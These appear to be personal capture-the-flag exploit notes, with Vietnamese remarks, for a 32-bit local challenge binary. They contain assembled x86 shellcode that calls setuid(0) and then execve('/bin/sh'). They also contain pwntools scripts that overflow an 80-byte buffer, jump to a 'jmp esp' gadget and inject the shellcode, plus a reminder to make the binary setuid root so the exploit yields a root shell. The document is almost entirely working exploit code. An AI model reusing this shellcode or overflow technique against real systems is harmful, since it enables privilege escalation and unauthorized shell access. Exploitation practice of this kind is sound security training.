Read bss:

mov eax,0x17

xor ebx,ebx

int 0x80

mov eax,0x03

mov edx,0x100

mov ecx,0x0804c008

int 0x80

mov eax,0x0b

mov ebx,ecx

xor ecx,ecx

xor edx,edx

int 0x80

from pwn import \*

r = process("./chall")

#gdb.attach(r, api=True)

#print(r.recvuntil(b"shellcode:"))

payload = b'A'\*80 + p32(0x08049242) ## bypass check jump esp

payload += b"\xB8\x17\x00\x00\x00\x31\xDB\xCD\x80\xB8\x03\x00\x00\x00\xBA\x00\x01\x00\x00\xB9\x08\xC0\x04\x08\xCD\x80\xB8\x0B\x00\x00\x00\x89\xCB\x31\xC9\x31\xD2\xCD\x80"

r.sendline(payload)

pause()

r.sendline(b'/bin/sh\0') #input from read

r.interactive()

read basic:

from pwn import \*

r = process("./chall")

gdb.attach(r, api=True)

#print(r.recvuntil(b"shellcode:"))

payload = b'A'\*80 + p32(0x08049242)

#payload += b"\x31\xC0\x83\xC0\x0B\x31\xC9\x31\xD2\x31\xDB\x53\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"

#payload += b"\xB8\x17\x00\x00\x00\x31\xDB\xCD\x80\x31\xC0\x83\xC0\x0B\x31\xC9\x31\xD2\x52\x68\x2F\x73\x68\x00\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"

payload +=b"\x31\xC0\x05\x17\x00\x00\x00\x31\xDB\xCD\x80\x31\xC0\x83\xC0\x0B\x31\xC9\x31\xD2\x52\x68\x2F\x73\x68\x00\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"

#0xd5 hay 0x17 deu okela

r.sendline(payload)

r.interactive()

xor eax,eax

add eax,0xd5

xor ebx, ebx

int 0x80

xor eax,eax

add eax,0x0b

xor ecx,ecx

xor edx,edx

push edx

push 0x0068732f

push 0x6e69622f

mov ebx,esp

int 0x80

Nho:

sudo chown root:root chall

sudo chmod +s chall

cách vippp:

<https://stackoverflow.com/questions/62031056/assembly-how-to-use-mprotect>